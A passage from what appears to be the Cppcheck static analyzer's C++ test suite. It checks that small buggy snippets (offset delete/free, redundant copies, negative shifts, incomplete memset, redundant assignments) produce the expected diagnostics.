char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } 